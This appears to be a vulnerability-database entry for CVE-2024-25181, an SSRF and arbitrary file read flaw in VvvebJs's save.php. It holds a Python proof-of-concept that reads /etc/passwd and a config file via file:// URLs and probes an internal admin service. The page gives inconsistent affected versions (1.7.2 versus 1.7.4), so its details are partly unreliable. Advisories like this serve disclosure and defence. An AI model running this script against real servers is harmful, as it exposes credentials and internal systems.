Security Vulnerability Report
中文
CVE-2024-25181 CVSS 9.1 CRITICAL

CVE-2024-25181

Published: 2025-12-29 20:15:40
Last Modified: 2026-01-07 14:50:46

Description

A critical vulnerability has been identified in givanz VvvebJs 1.7.2, which allows both Server-Side Request Forgery (SSRF) and arbitrary file reading. The vulnerability stems from improper handling of user-supplied URLs in the "file_get_contents" function within the "save.php" file.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:vvveb:vvvebjs:*:*:*:*:*:*:*:* - VULNERABLE
givanz VvvebJs <= 1.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-25181 PoC - SSRF and Arbitrary File Read in VvvebJs # Affected: givanz VvvebJs <= 1.7.2 # Type: SSRF / Arbitrary File Read via file_get_contents in save.php import requests import sys TARGET_URL = "http://target.com/vvvebjs/save.php" def read_local_file(file_path): """Read local file using file:// protocol""" payload = { 'url': f'file://{file_path}', 'action': 'file_get' } try: response = requests.post(TARGET_URL, data=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") return response.text except Exception as e: print(f"[!] Error: {e}") return None def ssrf_internal_service(internal_url): """Perform SSRF to access internal services""" payload = { 'url': internal_url, 'action': 'fetch' } try: response = requests.post(TARGET_URL, data=payload, timeout=10) print(f"[*] SSRF Target: {internal_url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text[:500]}") return response.text except Exception as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("CVE-2024-25181 PoC - VvvebJs SSRF/Arbitrary File Read") print("=" * 50) # Example 1: Read /etc/passwd print("\n[+] Test 1: Reading /etc/passwd") read_local_file("/etc/passwd") # Example 2: Read config file print("\n[+] Test 2: Reading config file") read_local_file("/var/www/html/config.php") # Example 3: SSRF to internal service print("\n[+] Test 3: SSRF to internal service") ssrf_internal_service("http://127.0.0.1:8080/admin")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-25181", "sourceIdentifier": "[email protected]", "published": "2025-12-29T20:15:40.423", "lastModified": "2026-01-07T14:50:45.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A critical vulnerability has been identified in givanz VvvebJs 1.7.2, which allows both Server-Side Request Forgery (SSRF) and arbitrary file reading. The vulnerability stems from improper handling of user-supplied URLs in the \"file_get_contents\" function within the \"save.php\" file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vvveb:vvvebjs:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.4", "matchCriteriaId": "37982B87-A2D0-491F-AA7C-5C61A27FB225"}]}]}], "references": [{"url": "https://gist.github.com/joaoviictorti/69cbae23d98fb9a1a4b3eee0c305c7de", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gist.github.com/joaoviictorti/69cbae23d98fb9a1a4b3eee0c305c7de", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}